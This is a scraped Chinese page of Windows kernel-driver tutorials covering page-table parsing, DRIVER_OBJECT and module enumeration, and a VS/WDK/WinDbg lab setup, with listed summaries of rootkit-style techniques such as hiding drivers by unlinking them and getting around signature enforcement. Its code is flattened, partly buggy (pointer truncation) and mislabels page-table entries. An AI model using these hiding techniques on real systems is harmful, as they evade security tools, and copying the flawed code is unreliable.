添加链接
link之家
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接
相关文章推荐
痴情的上铺  ·  SQLite ...·  1 年前    · 
驱动开发:通过ReadFile与内核层通信
驱动与应用程序的通信是非常有必要的,内核中执行代码后需要将其动态显示给应用层,但驱动程序与应用层毕竟不在一个地址空间内,为了实现内核与应用层数据交互则必须有通信的方法,微软为我们提供了三种通信方式,如下先来介绍通过`ReadFile`系列函数实现的通信模式。
驱动开发:判断自身是否加载成功
在驱动开发中我们有时需要得到驱动自身是否被加载成功的状态,这个功能看似没啥用实际上在某些特殊场景中还是需要的,如下代码实现了判断当前驱动是否加载成功,如果加载成功, 则输出该驱动的详细路径信息。
驱动开发:通过Async反向与内核通信
在前几篇文章中给大家具体解释了驱动与应用层之间正向通信的一些经典案例,本章将继续学习驱动通信,不过这次我们学习的是通过运用`Async`异步模式实现的反向通信,反向通信机制在开发中时常被用到,例如一个杀毒软件如果监控到有异常进程运行或有异常注册表被改写后,该驱动需要主动的通知应用层进程让其知道,这就需要用到驱动反向通信的相关知识点,如下将循序渐进的实现一个反向通信案例。
驱动开发:内核封装TDI网络通信接口
在上一篇文章`《驱动开发:内核封装WSK网络通信接口》`中,`LyShark`已经带大家看过了如何通过WSK接口实现套接字通信,但WSK实现的通信是内核与内核模块之间的,而如果需要内核与应用层之间通信则使用TDK会更好一些因为它更接近应用层,本章将使用TDK实现,TDI全称传输驱动接口,其主要负责连接`Socket`和协议驱动,用于实现访问传输层的功能,该接口比`NDIS`更接近于应用层,在早期Win系统中常用于实现过滤防火墙,同样经过封装后也可实现通信功能,本章将运用TDI接口实现驱动与应用层之间传输字符串,结构体,多线程收发等技术。
驱动开发:内核枚举Minifilter微过滤驱动
Minifilter 是一种文件过滤驱动,该驱动简称为微过滤驱动,相对于传统的`sfilter`文件过滤驱动来说,微过滤驱动编写时更简单,其不需要考虑底层RIP如何派发且无需要考虑兼容性问题,微过滤驱动使用过滤管理器`FilterManager`提供接口,由于提供了管理结构以及一系列管理API函数,所以枚举过滤驱动将变得十分容易。
驱动开发:内核字符串拷贝与比较
在上一篇文章`《驱动开发:内核字符串转换方法》`中简单介绍了内核是如何使用字符串以及字符串之间的转换方法,本章将继续探索字符串的拷贝与比较,与应用层不同内核字符串拷贝与比较也需要使用内核专用的API函数,字符串的拷贝往往伴随有内核内存分配,我们将首先简单介绍内核如何分配堆空间,然后再以此为契机简介字符串的拷贝与比较。
驱动开发:内核无痕隐藏自身分析
在笔者前面有一篇文章`《驱动开发:断链隐藏驱动程序自身》`通过摘除驱动的链表实现了断链隐藏自身的目的,但此方法恢复时会触发PG会蓝屏,偶然间在网上找到了一个作者介绍的一种方法,觉得有必要详细分析一下他是如何实现的驱动隐藏的,总体来说作者的思路是最终寻找到`MiProcessLoaderEntry`的入口地址,该函数的作用是将驱动信息加入链表和移除链表,运用这个函数即可动态处理驱动的添加和移除问题。
驱动开发:内核取ntoskrnl模块基地址
模块是程序加载时被动态装载的,模块在装载后其存在于内存中同样存在一个内存基址,当我们需要操作这个模块时,通常第一步就是要得到该模块的内存基址,模块分为用户模块和内核模块,这里的用户模块指的是应用层进程运行后加载的模块,内核模块指的是内核中特定模块地址,本篇文章将实现一个获取驱动`ntoskrnl.exe`的基地址以及长度,此功能是驱动开发中尤其是安全软件开发中必不可少的一个功能。
驱动开发:内核特征码搜索函数封装
在前面的系列教程如`《驱动开发:内核枚举DpcTimer定时器》`或者`《驱动开发:内核枚举IoTimer定时器》`里面`LyShark`大量使用了`特征码定位`这一方法来寻找符合条件的`汇编指令`集,总体来说这种方式只能定位特征较小的指令如果特征值扩展到5位以上那么就需要写很多无用的代码,本章内容中将重点分析,并实现一个`通用`特征定位函数。
驱动开发:内核监视LoadImage映像回调
在笔者上一篇文章`《驱动开发:内核注册并监控对象回调》`介绍了如何运用`ObRegisterCallbacks`注册`进程与线程`回调,并通过该回调实现了`拦截`指定进行运行的效果,本章`LyShark`将带大家继续探索一个新的回调注册函数,`PsSetLoadImageNotifyRoutine`常用于注册`LoadImage`映像监视,当有模块被系统加载时则可以第一时间获取到加载模块信息,需要注意的是该回调函数内无法进行拦截,如需要拦截则需写入返回指令这部分内容将在下一章进行讲解,本章将主要实现对模块的监视功能。
驱动开发:应用DeviceIoContro开发模板
内核中执行代码后需要将结果动态显示给应用层的用户,DeviceIoControl 是直接发送控制代码到指定的设备驱动程序,使相应的移动设备以执行相应的操作的函数,如下代码是一个经典的驱动开发模板框架,在开发经典驱动时会用到的一个通用案例。
驱动开发:内核运用LoadImage屏蔽驱动
在笔者上一篇文章`《驱动开发:内核监视LoadImage映像回调》`中`LyShark`简单介绍了如何通过`PsSetLoadImageNotifyRoutine`函数注册回调来`监视驱动`模块的加载,注意我这里用的是`监视`而不是`监控`之所以是监视而不是监控那是因为`PsSetLoadImageNotifyRoutine`无法实现参数控制,而如果我们想要控制特定驱动的加载则需要自己做一些事情来实现,如下`LyShark`将解密如何实现屏蔽特定驱动的加载。
驱动开发:内核枚举驱动内线程(答疑篇)
这篇文章比较特殊,是一篇穿插答疑文章,由于刚好在前一篇教程`《驱动开发:内核枚举PspCidTable句柄表》`整理了枚举句柄表的知识点,正好这个知识点能解决一个问题,事情是这样的有一个粉丝求助了一个问题,想要枚举出驱动中活动的线程信息,此功能我并没有尝试过当时也只是说了一个大致思路,今天想具体聊一聊这个话题,也想聊一聊自己对粉丝们的想法。
驱动开发:内核测试模式过DSE签名
微软在`x64`系统中推出了`DSE`保护机制,DSE全称`(Driver Signature Enforcement)`,该保护机制的核心就是任何驱动程序或者是第三方驱动如果想要在正常模式下被加载则必须要经过微软的认证,当驱动程序被加载到内存时会验证签名的正确性,如果签名不正常则系统会拒绝运行驱动,这种机制也被称为驱动强制签名,该机制的作用是保护系统免受恶意软件的破坏,是提高系统安全性的一种手段。
驱动开发:断链隐藏驱动程序自身
与断链隐藏进程功能类似,关于断链进程隐藏可参考`《驱动开发:DKOM 实现进程隐藏》`这一篇文章,断链隐藏驱动自身则用于隐藏自身SYS驱动文件,当驱动加载后那么使用ARK工具扫描将看不到自身驱动模块,此方法可能会触发PG会蓝屏,在某些驱动辅助中也会使用这种方法隐藏自己。

驱动开发:内核解析内存四级页表

当今操作系统普遍采用64位架构,CPU最大寻址能力虽然达到了64位,但其实仅仅只是用到了48位进行寻址,其内存管理采用了9-9-9-9-12的分页模式,9-9-9-9-12分页表示物理地址拥有四级页表,微软将这四级依次命名为PXE、PPE、PDE、PTE这四项。 关于内存管理和分页模式,不同的操作系统和体系结构可能会有略微不同的实现方式。9-9-9-9-12的分页模式是一种常见的分页方案,其中物理地址被分成四级页表:PXE(Page Directory Pointer Table Entry)、PPE(Page Directory Entry)、PDE(Page Table Entry)和PTE(Page Table Entry)。这种分页模式可以支持大量的物理内存地址映射到虚拟内存地址空间中。每个级别的页表都负责将虚拟地址映射到更具体的物理地址。通过这种层次化的页表结构,操作系统可以更有效地管理和分配内存。 首先一个PTE管理1个分页大小的内存也就是0x1000字节,PTE结构的解析非常容易,打开WinDBG输入!PTE 0即可解析,如下所示,当前地址0位置处的PTE基址是FFFF898000000000,由于PTE的一个页大小是0x1000所以当内存地址高于0x1000时将会切换到另一个页中,如下FFFF898000000008则是另一个页中的地址。 0: kd> !PTE 0 VA 0000000000000000 PXE at FFFF89C4E2713000 PPE at FFFF89C4E2600000 PDE at FFFF89C4C0000000 PTE at FFFF898000000000 contains 8A0000000405F867 contains 0000000000000000 pfn 405f ---DA--UW-V not valid 0: kd> !PTE 0x1000 VA 0000000000001000 PXE at FFFF89C4E2713000 PPE at FFFF89C4E2600000 PDE at FFFF89C4C0000000 PTE at FFFF898000000008 contains 8A0000000405F867 contains 0000000000000000 pfn 405f ---DA--UW-V not valid 由于PTE是动态变化的,找到该地址的关键就在于通过MmGetSystemRoutineAddress函数动态得到MmGetVirtualForPhysical的内存地址,然后向下扫描特征寻找mov rdx,0FFFF8B0000000000h并将内部的地址提取出来。 这段代码完整版如下所示,代码可动态定位到PTE的内存地址,然后将其取出; // 署名权 // right to sign one's name on a piece of work // PowerBy: LyShark // Email: me@lyshark.com #include <ntifs.h> #include <ntstrsafe.h> // 指定内存区域的特征码扫描 PVOID SearchMemory(PVOID pStartAddress, PVOID pEndAddress, PUCHAR pMemoryData, ULONG ulMemoryDataSize) PVOID pAddress = NULL; PUCHAR i = NULL; ULONG m = 0; // 扫描内存 for (i = (PUCHAR)pStartAddress; i < (PUCHAR)pEndAddress; i++) // 判断特征码 for (m = 0; m < ulMemoryDataSize; m++) if (*(PUCHAR)(i + m) != pMemoryData[m]) break; // 判断是否找到符合特征码的地址 if (m >= ulMemoryDataSize) // 找到特征码位置, 获取紧接着特征码的下一地址 pAddress = (PVOID)(i + ulMemoryDataSize); break; return pAddress; // 获取到函数地址 PVOID GetMmGetVirtualForPhysical() PVOID VariableAddress = 0; UNICODE_STRING uioiTime = { RtlInitUnicodeString(&uioiTime, L"MmGetVirtualForPhysical"); VariableAddress = (PVOID)MmGetSystemRoutineAddress(&uioiTime); if (VariableAddress != 0) return VariableAddress; return 0; // 驱动卸载例程 VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint("Uninstall Driver \n"); // 驱动入口地址 NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint("Hello LyShark \n"); // 获取函数地址 PVOID address = GetMmGetVirtualForPhysical(); DbgPrint("GetMmGetVirtualForPhysical = %p \n", address); UCHAR pSecondSpecialData[50] = { ULONG ulFirstSpecialDataSize = 0; pSecondSpecialData[0] = 0x48; pSecondSpecialData[1] = 0xc1; pSecondSpecialData[2] = 0xe0; ulFirstSpecialDataSize = 3; // 定位特征码 PVOID PTE = SearchMemory(address, (PVOID)((PUCHAR)address + 0xFF), pSecondSpecialData, ulFirstSpecialDataSize); __try PVOID lOffset = (ULONG)PTE + 1; DbgPrint("PTE Address = %p \n", lOffset); __except (EXCEPTION_EXECUTE_HANDLER) DbgPrint("error"); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; 运行如上代码可动态获取到当前系统的PTE地址,然后将PTE填入到g_PTEBASE中,即可实现解析系统内的四个标志位,完整解析代码如下所示; // 署名权 // right to sign one's name on a piece of work // PowerBy: LyShark // Email: me@lyshark.com #include <ntifs.h> #include <ntstrsafe.h> INT64 g_PTEBASE = 0; INT64 g_PDEBASE = 0; INT64 g_PPEBASE = 0; INT64 g_PXEBASE = 0; PULONG64 GetPteBase(PVOID va) return (PULONG64)((((ULONG64)va & 0xFFFFFFFFFFFF) >> 12) * 8) + g_PTEBASE; PULONG64 GetPdeBase(PVOID va) return (PULONG64)((((ULONG64)va & 0xFFFFFFFFFFFF) >> 12) * 8) + g_PDEBASE; PULONG64 GetPpeBase(PVOID va) return (PULONG64)((((ULONG64)va & 0xFFFFFFFFFFFF) >> 12) * 8) + g_PPEBASE; PULONG64 GetPxeBase(PVOID va) return (PULONG64)((((ULONG64)va & 0xFFFFFFFFFFFF) >> 12) * 8) + g_PXEBASE; // 驱动卸载例程 VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint("Uninstall Driver \n"); // 驱动入口地址 NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint("Hello LyShark \n"); g_PTEBASE = 0XFFFFF20000000000; g_PDEBASE = (ULONG64)GetPteBase((PVOID)g_PTEBASE); g_PPEBASE = (ULONG64)GetPteBase((PVOID)g_PDEBASE); g_PXEBASE = (ULONG64)GetPteBase((PVOID)g_PPEBASE); DbgPrint("PXE = %p \n", g_PXEBASE); DbgPrint("PPE = %p \n", g_PPEBASE); DbgPrint("PDE = %p \n", g_PDEBASE); DbgPrint("PTE = %p \n", g_PTEBASE); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; 我的系统内PTE地址为0XFFFFF20000000000,填入变量内解析效果如下图所示;

驱动开发:探索DRIVER_OBJECT驱动对象

本章将探索驱动程序开发的基础部分,了解驱动对象DRIVER_OBJECT结构体的定义,一般来说驱动程序DriverEntry入口处都会存在这样一个驱动对象,该对象内所包含的就是当前所加载驱动自身的一些详细参数,例如驱动大小,驱动标志,驱动名,驱动节等等,每一个驱动程序都会存在这样的一个结构。首先来看一下微软对其的定义,此处我已将重要字段进行了备注。typedef struct _DRIVER_OBJECT { CSHORT Type; // 驱动类型 CSHORT Size; // 驱动大小 PDEVICE_OBJECT DeviceObject; // 驱动对象 ULONG Flags; // 驱动的标志 PVOID DriverStart; // 驱动的起始位置 ULONG DriverSize; // 驱动的大小 PVOID DriverSection; // 指向驱动程序映像的内存区对象 PDRIVER_EXTENSION DriverExtension; // 驱动的扩展空间 UNICODE_STRING DriverName; // 驱动名字 PUNICODE_STRING HardwareDatabase; PFAST_IO_DISPATCH FastIoDispatch; PDRIVER_INITIALIZE DriverInit; PDRIVER_STARTIO DriverStartIo; PDRIVER_UNLOAD DriverUnload; // 驱动对象的卸载地址 PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; } DRIVER_OBJECT;DRIVER_OBJECT结构体是Windows操作系统内核中用于表示驱动程序的基本信息的结构体。它包含了一系列的字段,用于描述驱动程序的特定属性。以下是DRIVER_OBJECT结构体中的一些重要字段:Type:该字段标识该结构体的类型,始终设置为DRIVER_OBJECT_TYPE。Size:该字段表示该结构体的大小,以字节为单位。DeviceObject:该字段是一个指针,指向驱动程序所创建的设备对象链表的头部。每个设备对象代表着一个设备或者驱动程序创建的一种虚拟设备。DriverStart:该字段是一个指针,指向驱动程序代码的入口点,也就是驱动程序的DriverEntry函数。该函数会在驱动程序被加载时被调用。DriverSize:该字段表示驱动程序代码的大小,以字节为单位。DriverName:该字段是一个UNICODE_STRING结构体,用于表示驱动程序的名称。Flags:该字段是一个32位的位掩码,用于表示驱动程序的一些属性。例如,可以设置DO_BUFFERED_IO标志表示驱动程序支持缓冲I/O。如果我们想要遍历出当前自身驱动的一些基本信息,我们只需要在驱动的头部解析_DRIVER_OBJECT即可得到全部的数据,这段代码可以写成如下样子,其中的IRP_MJ_这一系列则是微软的调用号,不同的RIP代表着不同的涵义,但一般驱动也就会用到如下这几种调用号。// 署名权 // right to sign one's name on a piece of work // PowerBy: LyShark // Email: me@lyshark.com #include <ntifs.h> VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint(("Uninstall Driver Is OK \n")); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark \n"); Driver->DriverUnload = UnDriver; DbgPrint("驱动名字 = %wZ \n", Driver->DriverName); DbgPrint("驱动起始地址 = %p | 大小 = %x | 结束地址 %p \n",Driver->DriverStart,Driver->DriverSize,(ULONG64)Driver->DriverStart + Driver->DriverSize); DbgPrint("卸载地址 = %p\n", Driver->DriverUnload); DbgPrint("IRP_MJ_READ地址 = %p\n", Driver->MajorFunction[IRP_MJ_READ]); DbgPrint("IRP_MJ_WRITE地址 = %p\n", Driver->MajorFunction[IRP_MJ_WRITE]); DbgPrint("IRP_MJ_CREATE地址 = %p\n", Driver->MajorFunction[IRP_MJ_CREATE]); DbgPrint("IRP_MJ_CLOSE地址 = %p\n", Driver->MajorFunction[IRP_MJ_CLOSE]); DbgPrint("IRP_MJ_DEVICE_CONTROL地址 = %p\n", Driver->MajorFunction[IRP_MJ_DEVICE_CONTROL]); // 输出完整的调用号 for (auto i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) DbgPrint("IRP_MJ调用号 = %d | 函数地址 = %p \r\n", i, Driver->MajorFunction[i]); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }编译这段程序,签名并运行,我们即可看到如下输出信息,此时当前自身驱动的详细参数都可以被输出;当然运用_DRIVER_OBJECT对象中的DriverSection字段我们完全可以遍历输出当前系统下所有的驱动程序的具体信息,DriverSection结构指向了一个_LDR_DATA_TABLE_ENTRY结构,结构的微软定义如下;typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; union { struct { ULONG TimeDateStamp; struct { PVOID LoadedImports; }LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;为了能够遍历出所有的系统驱动,我们需要得到pLdr结构,该结构可通过Driver->DriverSection的方式获取到,获取到之后通过pLdr->InLoadOrderLinks.Flink得到当前驱动的入口地址,而每一次调用pListEntry->Flink都将会指向下一个驱动对象,通过不断地循环CONTAINING_RECORD解析,即可输出当前系统内所有驱动的详细信息。这段程序的写法可以如下所示;// 署名权 // right to sign one's name on a piece of work // PowerBy: LyShark // Email: me@lyshark.com #include <ntifs.h> typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; union { struct { ULONG TimeDateStamp; struct { PVOID LoadedImports; }LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint(("Uninstall Driver Is OK \n")); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark \n"); Driver->DriverUnload = UnDriver; PLDR_DATA_TABLE_ENTRY pLdr = NULL; PLIST_ENTRY pListEntry = NULL; PLIST_ENTRY pCurrentListEntry = NULL; PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL; pLdr = (PLDR_DATA_TABLE_ENTRY)Driver->DriverSection; pListEntry = pLdr->InLoadOrderLinks.Flink; pCurrentListEntry = pListEntry->Flink; // 判断是否结束 while (pCurrentListEntry != pListEntry) // 获取LDR_DATA_TABLE_ENTRY结构 pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if (pCurrentModule->BaseDllName.Buffer != 0) DbgPrint("模块名 = %wZ | 模块基址 = %p | 模块入口 = %p | 模块时间戳 = %d \n", pCurrentModule->BaseDllName, pCurrentModule->DllBase, pCurrentModule->EntryPoint, pCurrentModule->TimeDateStamp); pCurrentListEntry = pCurrentListEntry->Flink; Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }编译这段程序,签名并运行,我们即可看到如下输出信息,此时当前自身驱动的详细参数都可以被输出;通过使用上一篇文章《驱动开发:内核字符串拷贝与比较》中所介绍的的RtlCompareUnicodeString函数,还可用于对比与过滤特定结果,以此来实现通过驱动名返回驱动基址的功能。LONGLONG GetModuleBaseByName(PDRIVER_OBJECT pDriverObj, UNICODE_STRING ModuleName) PLDR_DATA_TABLE_ENTRY pLdr = NULL; PLIST_ENTRY pListEntry = NULL; PLIST_ENTRY pCurrentListEntry = NULL; PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL; pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection; pListEntry = pLdr->InLoadOrderLinks.Flink; pCurrentListEntry = pListEntry->Flink; while (pCurrentListEntry != pListEntry) // 获取LDR_DATA_TABLE_ENTRY结构 pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if (pCurrentModule->BaseDllName.Buffer != 0) // 对比模块名 if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0) return (LONGLONG)pCurrentModule->DllBase; pCurrentListEntry = pCurrentListEntry->Flink; return 0; }上这段代码的使用也非常简单,通过传入一个UNICODE_STRING类型的模块名,即可获取到模块基址并返回,至于如何初始化UNICODE_STRING则在《驱动开发:内核字符串转换方法》中有详细的介绍,此处你只需要这样来写。NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark \n"); UNICODE_STRING unicode; // 获取WinDDK驱动基地址 RtlUnicodeStringInit(&unicode, L"WinDDK.sys"); LONGLONG winddk_address = GetModuleBaseByName(Driver, unicode); DbgPrint("WinDDK模块基址 = %p \n", winddk_address); // 获取ACPI驱动基地址 RtlUnicodeStringInit(&unicode, L"ACPI.sys"); LONGLONG acpi_address = GetModuleBaseByName(Driver, unicode); DbgPrint("ACPI模块基址 = %p \n", acpi_address); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }运行这段驱动程序,即可分别输出WinDDK.sys以及ACPI.sys两个驱动模块的基地址;

驱动开发:配置Visual Studio驱动开发环境

在正式开始驱动开发之前,需要自行搭建驱动开发的必要环境,首先我们需要安装Visual Studio 2013这款功能强大的程序开发工具,在课件内请双击ISO文件并运行内部的vs_ultimate.exe安装包,Visual Studio的安装非常的简单,您只需要按照提示全部选择默认参数即可,根据机器配置不同可能需要等待一段时间;配置驱动开发环境在正式开始驱动开发之前,需要自行搭建驱动开发的必要环境,首先我们需要安装Visual Studio 2013这款功能强大的程序开发工具,在课件内请双击ISO文件并运行内部的vs_ultimate.exe安装包,Visual Studio的安装非常的简单,您只需要按照提示全部选择默认参数即可,根据机器配置不同可能需要等待一段时间;接着读者还需要继续安装Windows Driver Kit 8.1工具包,请将该工具包解压缩到桌面,并双击wdksetup.exe进行安装,过程中只需要一直下一步,并等待WDK工具包安装完成;WDK就是内核编程开发工具包,某些读者可能听说过DDK或者IFSDDK,最典型的开发工具包莫过于DDK7600,直到目前此类工具包仍然可以正常使用,但并不推荐。为了能测试驱动程序运行状态,读者需安装VMWare虚拟机,双击附件中的VMware-workstation-full-16.2.4-20089737.exe安装程序一直点击下一步即可,需要注意的是在如下选项中请在增强型键盘驱动程序上打对勾,之后等待安装完毕即可;接着打开VMware虚拟机,并在【文件】处选择【新建虚拟机】,单机下一步并选中【稍后安装操作系统】,在操作系统选择页面选择【Win10 x64】版本。在硬件配置处,读者可根据自己电脑的配置灵活的选择,当自定义配置完成后,则虚拟机模板将被创建。虚拟机模板创建完成后,读者可根据如下配置选择编辑虚拟机设置,并在磁盘位置处将课件中的cn_windows_10_consumer_editions_version_1903_x64_dvd_8f05241d.iso挂载到虚拟机上;点击开启虚拟机,并按照提示将Windows系统正确的安装,需要注意的是在选择版本时,读者最好使用教育版与笔者开发环境保持一致,至此只需等待系统安装完毕,根据系统差异安装时间可能有所差别,耐性等待即可;当一切安装就绪后我们需要在系统中安装VMware Tools工具,该组件在安装后可让虚拟机具备有拖拽上传文件的功能,且鼠标键盘将可以自由切换,该功能是我们必须要用到的;安装VMware Tools工具很容易,只需要点击安装菜单,后会在虚拟机中出现DVD驱动器,此时双击驱动器并按照要求安装即可,安装完成后重启系统,此时则具备了拖拽上传功能;当这些都做好以后,建议用户关闭虚拟机,并点击【虚拟机】菜单,找到【快照】并拍摄一个快照,快照的作用是当虚拟机系统出现问题后可快速恢复到初始模式,避免重装系统,在后续课程中读者会出现无数次的蓝屏,而虚拟机快照的快速恢复功能则是一个很好的选择;配置驱动开发模板1.打开Visual Studio开发工具,然后选择【文件】菜单新建项目,并在已安装模板中选中【Visual C++】新建空项目,并将项目名称命名为【WinDDK】点击确定。2.依次选择【解决方案视图-源文件-添加新建项】选项卡,或者直接按下Ctrl + Shift + A快捷打开菜单,并创建main.c文件。3.接着需要修改配置管理器,添加自定义配置管理,选择【生成-配置管理器-新建】选项卡,此处我们命名为WinDDK即可。4.修改配置属性中的【常规】属性,点击菜单栏中的调试,选择【WinDDK属性-配置-常规】修改为标黄处所示内容即可。5.配置可执行文件路径与导入库路径,这里我们选择【配置属性-VC++目录】依次将如下信息填入配置项。可执行目录 C:\Program Files (x86)\Windows Kits\8.1\bin\x64 C:\Program Files (x86)\Windows Kits\8.1\bin C:\Program Files (x86)\Windows Kits\8.1\Include\km C:\Program Files (x86)\Windows Kits\8.1\Include\shared C:\Program Files (x86)\Windows Kits\8.1\Include\um C:\Program Files (x86)\Windows Kits\8.1\Include\wdf\kmdf\1.13 C:\Program Files (x86)\Windows Kits\8.1\Include\wdf\umdf\2.0 C:\Program Files (x86)\Windows Kits\8.1\Include\winrt C:\Program Files (x86)\Windows Kits\8.1\Lib\win7\km\x64 C:\Program Files (x86)\Windows Kits\8.1\Lib\win7\km\x64 C:\Program Files (x86)\Windows Kits\8.1\Lib\wdf\kmdf\x64\1.13 C:\Program Files (x86)\Windows Kits\8.1\Lib\wdf\umdf\x64\2.0 C:\Program Files (x86)\Windows Kits\8.1\Lib\winv6.3\um\x64 C:\Program Files (x86)\Windows Kits\8.1\Lib\winv6.3\km\x64当如上文件配置完成后,最终效果如下图所示;6.配置C/C++优化选项,在配置属性中找到【C/C++-所有选项】并依次修改下方几个关键位置。安全检查 禁用安全检查 (/GS-) 将警告视为错误 否 (/WX-) 警告等级 关闭所有警告 启用C++异常 否 调用约定 __fastcall (/Gr) 优化 已禁用 (/Od) 运行库 多线程 (/MT) 预处理器定义 _AMD64_;_DDK_;_WIN32_WINNT=0x0501;WINVER=0x0501;_NDEBUG;DBG=0;%(PreprocessorDefinitions)当如上文件配置完成后,最终效果如下图所示;7.配置连接器选项,选择【连接器-所有选项】依次修改下方几个关键位置。附加选项 /IGNORE:4078 /safeseh:no 附加依赖项 ntoskrnl.lib;ndis.lib;Hal.lib;wdm.lib;wdmsec.lib;wmilib.lib 固定基址 此处需要清空 忽略所有默认库 是 (/NODEFAULTLIB) 启用增量链接 否 (/INCREMENTAL:NO) 驱动程序 驱动程序 (/Driver) 入口点 DriverEntry 生成清单 否 (/MANIFEST:NO) 生成调试信息 是 (/DEBUG) 生成映射文件 是 (/MAP) 数据执行保护 是 (/NXCOMPAT) 随机基址 此处需要清空 子系统 本机 (/SUBSYSTEM:NATIVE)当如上文件配置完成后,最终效果如下图所示;8.上方的配置已经基本完成了,接着我们编写一段驱动初始化代码,然后按下F7即可完成驱动的编译。// 署名权 // right to sign one's name on a piece of work // PowerBy: LyShark // Email: me@lyshark.com #include <ntifs.h> // 卸载驱动 NTSTATUS UnDriver(PDRIVER_OBJECT driver) DbgPrint("Uninstall Driver Is OK \n"); return STATUS_SUCCESS; // 驱动入口地址 NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint("Hello LyShark \n"); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }9.最后生成一个驱动开发模板,依次选择【文件-导出模板-项目模板-下一步-完成】即可完成模板的导出,此时关闭VS工具并再次打开,就能直接使用我们的模板来开发驱动了,当用户需要使用时,不需要每次都配置。模板位置:C:\Users\admin\Documents\Visual Studio 2013\My Exported Templates读者也应注意,如果用户通过模板创建驱动开发项目则需要手动在配置菜单中切换到WinDDK选项的x64模式下。配置驱动双机调试1.首先需要在VMware虚拟机关闭状态下添加一个管道虚拟串口,此处需要删除打印机,否则串口之间冲突。操作步骤:编辑虚拟机设置 -> 添加 -> 串行端口 -> 完成参数配置:使用命名管道 -> \\.\pipe\com_1 -> 该端是服务器,另一端是应用程序 -> 轮询时主动放弃CPU->确定2.开启虚拟机中的Windows系统,然后以管理员身份运行CMD命令行,输入bcdedit命令,可以查看到系统的当前启动项,如果是新的系统,则只会有{current}启动项以及一个{bootmgr}项。连续执行下方的七条命令,依次建立启动项,激活Windows系统的调试模式,并开启串口通信,调试端口波特率为115200bcdedit /set testsigning on bcdedit -debug on bcdedit /bootdebug on bcdedit /set "{current}" bootmenupolicy Legacy // 修改启动方式为Legacy bcdedit /dbgsettings SERIAL DEBUGPORT:1 BAUDRATE:115200 // 设置串口1为调试端口波特率为115200 bcdedit /copy "{current}" /d "Debug" // 将当前配置复制到Debug启动配置 bcdedit /debug "{<新建的启动配置的标识符>}" on // 打开调试开关但需要注意{<新建的启动配置的标识符>}需替换成{bdb0b3b6-3f21-11ed-9931-d46011246f28}标志,如下所示。3.最后查看一下当前调试配置选项,执行命令 bcdedit /dbgsettings,显示出使用的第一个串口,波特率为115200bps,保持默认不需要修改。4.配置完成后,重新启动系统,在开机的时候选择Windows10 [启用调试程序]则系统会黑屏,说明已经正常进入调试模式了。5.此时回到物理机上面,解压缩课件中的WinDBG_10.0.16299.15.zip到D盘根目录下,我们在命令行中切换到WinDBG\x64的根目录下,并执行以下命令,即可连接虚拟机串口进行调试了。执行命令 windbg.exe -b -k com:port=\\.\pipe\com_1,baud=115200,pipe 如下图6.至此我们还需要加载符号,符号的作用是方便我们调试,该符号是由微软官方维护的权威资料,在命令行下依次执行以下命令,配置好符号加载并启动系统。kd> .sympath SRV*c:\mySymbols*http://msdl.microsoft.com/download/symbols kd> .reload kd> g kd> g kd> ed nt!Kd_SXS_Mask 0 kd> ed nt!Kd_FUSION_Mask 0 kd> u KiSystemServiceUser这样即可完成配置操作,此时系统已被断下等待我们执行操作,如下图所示。7.最后我们配置测试一下调试功能,首先编写以下代码,代码中使用DbgBreakPoint()设置断点,将会在入口处中断。// 署名权 // right to sign one's name on a piece of work // PowerBy: LyShark // Email: me@lyshark.com #include <ntifs.h> // 驱动默认回调 NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) NTSTATUS status = STATUS_SUCCESS; pIrp->IoStatus.Status = status; pIrp->IoStatus.Information = 0; IoCompleteRequest(pIrp, IO_NO_INCREMENT); return status; // 驱动卸载函数 VOID UnDriver(PDRIVER_OBJECT driver) 